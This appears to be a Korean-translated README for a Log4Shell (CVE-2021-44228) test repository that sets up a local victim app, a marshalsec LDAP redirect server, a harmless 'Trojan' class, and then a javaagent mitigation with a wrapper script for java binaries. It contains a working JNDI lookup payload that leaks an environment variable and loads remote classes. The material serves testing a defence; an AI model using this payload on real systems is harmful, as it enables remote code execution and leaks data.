wajda/log4shell-test-exploitCVE-2021-44228 테스트 악용
# Install Nodejs HTTP server
npm -g i http-server
# Build victim app
cd victim-app
mvn install
# Compile Trojan
cd test-trojan
javac Trojan.java
# Build marshalsec (required Java 8)
git clone [email protected]:mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
# Build log4j-jndi-be-gone
git clone [email protected]:wajda/log4j-jndi-be-gone.git
cd log4j-jndi-be-gone
git checkout shading-support
./gradlew
cd test-trojan
http-server .
참고: https://github.com/mbechler/marshalsec
cd marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#Trojan"
stderr가 숨겨져 있을 때 유용함
watch -d -n 1 'ls -la /tmp/ | grep -i log4shell-BUSTED'
취약한 log4j2 라이브러리(버전 2.14.1)를 통해 피해 애플리케이션이 다음 문자열을 로깅합니다.
log.error("${jndi:ldap://127.0.0.1:1389/a/${env:USER}}");
두 가지 공격 벡터를 동시에 실행합니다:
$USER). 이 변수는 marshalsec LDAP 서버 출력에서 확인할 수 있습니다.Send LDAP reference result for a/<VICTIM_USER_NAME> redirecting to http://127.0.0.1:8080/Trojan.class
!!! BUSTED !!! 메시지를 로깅하고, 빈 /tmp/log4shell-BUSTED-* 파일을 생성합니다.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true
cd victim-app
# ... in a console app
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar
# ... in a web app (on Tomcat)
cp web/target/log4j2-victim-webapp-1.0-SNAPSHOT.war $TOMCAT_HOME/webapps
curl http://localhost:$TOMCAT_HTTP_PORT/log4j2-victim-webapp-1.0-SNAPSHOT/
java -javaagent:log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=classSigDetection=enabled -jar fatjar/target/log4j2-victim-app-1.0-SNAPSHOT.jar
모든 java 바이너리를 아래 스크립트로 교체하세요:
java.guarded
#!/bin/bash
$(dirname "$0")/java.original "-javaagent:/path/to/log4j-jndi-be-gone-1.0.0-wajda-standalone.jar=logDir=/tmp,classSigDetection=enabled" "$@"
예:
cd $(dirname $(which java))
sudo su
mv java java.original
cp java.guarded java